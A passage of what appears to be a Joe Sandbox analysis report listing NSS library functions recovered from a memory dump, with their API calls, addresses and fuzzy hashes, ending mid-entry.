SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CABB151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CABB182

Part of subcall function 6CAEFAB0: free.MOZGLUE(?,-00000001,?,?,6CA8F673,00000000,00000000), ref: 6CAEFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CABB177

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CA9AB95,00000000,?,00000000,00000000,00000000), ref: 6CABB1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CA9AB95,00000000,?,00000000,00000000,00000000), ref: 6CABB1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CA9AB95,00000000,?,00000000,00000000,00000000), ref: 6CABB1C2

Part of subcall function 6CAE1560: TlsGetValue.KERNEL32(00000000,?,6CAB0844,?), ref: 6CAE157A
Part of subcall function 6CAE1560: EnterCriticalSection.KERNEL32(?,?,?,6CAB0844,?), ref: 6CAE158F
Part of subcall function 6CAE1560: PR_Unlock.NSS3(?,?,?,?,6CAB0844,?), ref: 6CAE15B2

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: e50ad239b1a4a8174dc8862ac1709e1de290970eece54ee33ee26960ed709d49
Instruction ID: 255bd1a999680ef67adfd73984092d05472d02d100ead5f4f915a954d3773c0e
Opcode Fuzzy Hash: e50ad239b1a4a8174dc8862ac1709e1de290970eece54ee33ee26960ed709d49
Instruction Fuzzy Hash: FDA1B3B1D002059FEF009FA4ED81BEE7BB8EF08308F144125E909A7751E731E999CBA1

Function 6CB0AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB0ADB1

Part of subcall function 6CAEBE30: SECOID_FindOID_Util.NSS3(6CAA311B,00000000,?,6CAA311B,?), ref: 6CAEBE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CB0ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CB0AE08

Part of subcall function 6CAEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBC18D0,?), ref: 6CAEB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB0AE25
PL_FreeArenaPool.NSS3 ref: 6CB0AE63
PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CB0AE4D

Part of subcall function 6CA14C70: TlsGetValue.KERNEL32(?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14C97
Part of subcall function 6CA14C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14CB0
Part of subcall function 6CA14C70: PR_Unlock.NSS3(?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB0AE93
PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CB0AECC
PL_FreeArenaPool.NSS3 ref: 6CB0AEDE
PL_FinishArenaPool.NSS3 ref: 6CB0AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB0AEF5
PL_FinishArenaPool.NSS3 ref: 6CB0AF16

Strings

security, xrefs: 6CB0ADEE

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 632d0f8a6360c4e16512fabddd7cb836509d8df8c4883f9c37170c94597de6c8
Instruction ID: 193fe49c08a39f76f77622586e16cb76527104301440e00582c0749a1f3945aa
Opcode Fuzzy Hash: 632d0f8a6360c4e16512fabddd7cb836509d8df8c4883f9c37170c94597de6c8
Instruction Fuzzy Hash: A74148B5A0428067EB109B149C44BBB3BA8EF4231CF200D25E965D3F81FB35964D8ED3

Function 6CBAAF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB59890: TlsGetValue.KERNEL32(?,?,?,6CB597EB), ref: 6CB5989E

EnterCriticalSection.KERNEL32(?), ref: 6CBAAF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6CBAAFCE
PR_SetPollableEvent.NSS3(?), ref: 6CBAAFD9
EnterCriticalSection.KERNEL32(?), ref: 6CBAAFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CBAB00F
_PR_MD_UNLOCK.NSS3(?), ref: 6CBAB02F
_PR_MD_UNLOCK.NSS3(?), ref: 6CBAB070
PR_JoinThread.NSS3(?), ref: 6CBAB07B
free.MOZGLUE(?), ref: 6CBAB084
EnterCriticalSection.KERNEL32(?), ref: 6CBAB09B
_PR_MD_UNLOCK.NSS3(?), ref: 6CBAB0C4
PR_JoinThread.NSS3(?), ref: 6CBAB0F3
free.MOZGLUE(?), ref: 6CBAB0FC
PR_JoinThread.NSS3(?), ref: 6CBAB137
free.MOZGLUE(?), ref: 6CBAB140

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 9a5aaad52e515d80a9aedc6a2436aa1558227c3c6cd20e64d69557e8648ce8d3
Instruction ID: 0576d98246cbb214c0e0aea72a88550c98e667b396834b53e49a60be87b20f8b
Opcode Fuzzy Hash: 9a5aaad52e515d80a9aedc6a2436aa1558227c3c6cd20e64d69557e8648ce8d3
Instruction Fuzzy Hash: 8B91BFB5900645CFCB04DF25C88084ABBF1FF4935872981A9D8599BB22E732FC5ACF91

Function 6CB25CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6CB22BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CB22A28,00000060,00000001), ref: 6CB22BF0
Part of subcall function 6CB22BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CB22A28,00000060,00000001), ref: 6CB22C07
Part of subcall function 6CB22BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6CB22A28,00000060,00000001), ref: 6CB22C1E
Part of subcall function 6CB22BE0: free.MOZGLUE(?,00000000,00000000,?,6CB22A28,00000060,00000001), ref: 6CB22C4A

free.MOZGLUE(?,?,6CB2AAD4,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB25D0F
free.MOZGLUE(?,?,?,6CB2AAD4,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB25D4E
free.MOZGLUE(?,?,?,6CB2AAD4,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB25D62
free.MOZGLUE(?,?,?,?,6CB2AAD4,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB25D85
free.MOZGLUE(?,?,?,?,6CB2AAD4,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB25D99
free.MOZGLUE(?,?,?,?,6CB2AAD4,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB25DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6CB2AAD4,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB25E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6CB2AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CB25E3E
free.MOZGLUE(?,?,?,?,?,?,6CB2AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CB25E47
free.MOZGLUE(?,?,?,?,6CB2AAD4,?,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB25E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6CB2AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CB25E78
free.MOZGLUE(?,?,?,?,?,?,?,6CB2AAD4), ref: 6CB25EB9
free.MOZGLUE(?,?,?,?,?,?,?,6CB2AAD4), ref: 6CB25EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6CB2AAD4), ref: 6CB25F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CB2AAD4), ref: 6CB25F4B

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: d99a031c55ee1bee17ac8eb9dafbd19f1d9a654fd297133b62ebae17a1a1ad11
Instruction ID: c5819b998fe55a69a671cd0e0187fe897dcf6ae1a7e70a5842d5fa371b4b394b
Opcode Fuzzy Hash: d99a031c55ee1bee17ac8eb9dafbd19f1d9a654fd297133b62ebae17a1a1ad11
Instruction Fuzzy Hash: A571C2B4A00B419FD700DF24D884AA6B7F5FF89348F148528E82E87B15E731F959CB92

Function 6CAA8DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CAA8E22
EnterCriticalSection.KERNEL32(?), ref: 6CAA8E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CAA8E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CAA8E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CAA8E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAA8EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CAA8EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CAA8EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CAA8F00
free.MOZGLUE(?), ref: 6CAA8F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CAA8F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CAA8F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CAA8F5B
PR_Unlock.NSS3(?), ref: 6CAA8F72
PR_Unlock.NSS3(?), ref: 6CAA8F82

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 48024ac8875d90207b61327f29abcee064265c43d1fc6d82cc17d9504618df61
Instruction ID: b9d5e40b99e342fff7cf73448dcd6a31c6cec3fcd12895dbaacae6eb9958bdca
Opcode Fuzzy Hash: 48024ac8875d90207b61327f29abcee064265c43d1fc6d82cc17d9504618df61
Instruction Fuzzy Hash: C0514BB2D002519FD7109FA8DC8496EB7B9FF45758F18412AEC189B700E731ED9687E1

Function 6CACCE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6CACCE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CACCEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6CACCED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6CACCEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6CACCF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CACCF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6CACCF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6CACCF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6CACCF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6CACCFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6CACCFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6CACCFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6CACCFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6CACD007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6CACD021

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: 7cca6687e1a15d7e9cdc97c950d99b9c23536af90af652c48ab10c2a90f66c9e
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 1D314371B52D2127EF0D145E5D31BEE145A4B6930EF480138F90BE57C0F6C5979B42E6

Function 6CBA0FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CBA1000

Part of subcall function 6CB59BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CA81A48), ref: 6CB59BB3
Part of subcall function 6CB59BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CA81A48), ref: 6CB59BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CBA1016

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PR_Unlock.NSS3(?), ref: 6CBA1021

Part of subcall function 6CB3DD70: TlsGetValue.KERNEL32 ref: 6CB3DD8C
Part of subcall function 6CB3DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB3DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CBA1046
PR_Unlock.NSS3(?), ref: 6CBA106B
PR_Lock.NSS3 ref: 6CBA1079
PR_Unlock.NSS3 ref: 6CBA1096
free.MOZGLUE(?), ref: 6CBA10A7
free.MOZGLUE(?), ref: 6CBA10B4
PR_DestroyCondVar.NSS3(?), ref: 6CBA10BF
PR_DestroyCondVar.NSS3(?), ref: 6CBA10CA
PR_DestroyCondVar.NSS3(?), ref: 6CBA10D5
PR_DestroyCondVar.NSS3(?), ref: 6CBA10E0
PR_DestroyLock.NSS3(?), ref: 6CBA10EB
free.MOZGLUE(?), ref: 6CBA1105

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 024d53b196ee960946c9ebbb6746682abb62894b39977c764676ffb49e3aed85
Instruction ID: baad766ba063756a15e6bfdf4630843d7522b1223e08d8777d86d944554dcbb7
Opcode Fuzzy Hash: 024d53b196ee960946c9ebbb6746682abb62894b39977c764676ffb49e3aed85
Instruction Fuzzy Hash: 383187B9900491EBD7029FA1FD41A49BB75FF01318B084220E80913F61E732F8B9DAC2

Function 6CAB5E60 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAB5ECF
EnterCriticalSection.KERNEL32(?), ref: 6CAB5EE3
PR_Unlock.NSS3(?), ref: 6CAB5F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6CAB5FB5

Strings

NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6CAB61F4

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT
API String ID: 2280678669-837408685
Opcode ID: 8b48e0f18dec0f0498df1736d6755d6e9434bda5bcb8ae3519bc72fbb325fdf2
Instruction ID: a33c48ecb0dc3b967af3d9f2a9e80bf919936f4cb19852b3e002f414bb93b7ec
Opcode Fuzzy Hash: 8b48e0f18dec0f0498df1736d6755d6e9434bda5bcb8ae3519bc72fbb325fdf2
Instruction Fuzzy Hash: 27F107B5A002158FEB54CF28D984786BBF8FF09304F5582AAD8089F746D774EA94CF91

Function 6CA1DC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CA1DD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6CA1DD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CA1DE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6CA1DEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA1DECD

Strings

database corruption, xrefs: 6CA1DF77, 6CA1DFE7
%s at line %d of [%.10s], xrefs: 6CA1DF7C, 6CA1DFEC
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA1DF6D, 6CA1DFCC, 6CA1DFDD

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 2069c1132d5b88056370b299074bb8599c4d82a88d2529bc46316db3eda7dd7b
Instruction ID: 32f33bf7caa5e87b81531ea2ae898a9dfbfbbe150f381a2de5601424239ad64f
Opcode Fuzzy Hash: 2069c1132d5b88056370b299074bb8599c4d82a88d2529bc46316db3eda7dd7b
Instruction Fuzzy Hash: 3BA1E471A082519FC712CF29C880A6BB7F5EF85318F19892DF8898BF51D730E995CB91

Function 6CADEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CADEE0B

Part of subcall function 6CAF0BE0: malloc.MOZGLUE(6CAE8D2D,?,00000000,?), ref: 6CAF0BF8
Part of subcall function 6CAF0BE0: TlsGetValue.KERNEL32(6CAE8D2D,?,00000000,?), ref: 6CAF0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CADEEE1

Part of subcall function 6CAD1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CAD1D7E
Part of subcall function 6CAD1D50: EnterCriticalSection.KERNEL32(?), ref: 6CAD1D8E
Part of subcall function 6CAD1D50: PR_Unlock.NSS3(?), ref: 6CAD1DD3

TlsGetValue.KERNEL32 ref: 6CADEE51
EnterCriticalSection.KERNEL32(?), ref: 6CADEE65
PR_Unlock.NSS3(?), ref: 6CADEEA2
free.MOZGLUE(?), ref: 6CADEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CADEED0
PR_Unlock.NSS3(?), ref: 6CADEF48
free.MOZGLUE(?), ref: 6CADEF68
PR_SetError.NSS3(00000000,00000000), ref: 6CADEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CADEFA4
free.MOZGLUE(?), ref: 6CADEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CADF055
free.MOZGLUE(?), ref: 6CADF060

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 68625302c0e6246a5151e762d8188014ffc30d0c83bc65bf1a902c26e49c829e
Instruction ID: 148519ca50ad557006aa0ca9b6a63dcfc573e09e33066ce1c1c3a2ba21569053
Opcode Fuzzy Hash: 68625302c0e6246a5151e762d8188014ffc30d0c83bc65bf1a902c26e49c829e
Instruction Fuzzy Hash: C98183B5A00215ABDF01DFA4DD45BDEBBB5BF0C358F190024E919A3711EB31E9A4CBA1

Function 6CAA4CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CAA4D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CAA4D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CAA4DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAA4E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CAA4E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CAA4E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CAA4E85
DER_Encode_Util.NSS3(?,?,6CBF05A4,00000000), ref: 6CAA4EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CAA4F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CAA4F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CAA4F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CAA4F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAA4F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CAA4FC8

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

